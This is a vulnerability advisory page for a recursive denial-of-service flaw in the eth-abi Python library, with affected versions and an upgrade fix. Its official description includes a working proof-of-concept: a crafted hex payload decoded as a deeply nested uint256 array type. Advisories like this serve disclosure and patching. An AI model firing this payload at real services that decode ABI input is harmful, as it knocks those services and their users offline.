GHSA-3qwc-47jf-5rf7 eth-abi is vulnerable to recursive DoS
An attacker can cause a denial of service in eth-abi by providing crafted input that triggers excessive recursion during decoding.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-3qwc-47jf-5rf7?
GHSA-3qwc-47jf-5rf7 is a denial of service vulnerability in eth-abi, published on 5 Mar 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue
from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))
decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
Which versions are affected by GHSA-3qwc-47jf-5rf7?
2 open source packages ship an affected version, including eth-abi.
| Package | Affected | Fixed in |
|---|---|---|
eth-abi PyPI | All versions | 5.0.1 |
eth-abi PyPI | All versions | 5.0.1 |
How do I fix GHSA-3qwc-47jf-5rf7?
Upgrade eth-abi to 5.0.1 or later.
Upgrade, then put limits on request size, rate and nesting depth so one client cannot exhaust the service. More about Denial of service.
Is GHSA-3qwc-47jf-5rf7 being exploited?
There is no known exploitation of GHSA-3qwc-47jf-5rf7 in the wild and no public exploit code.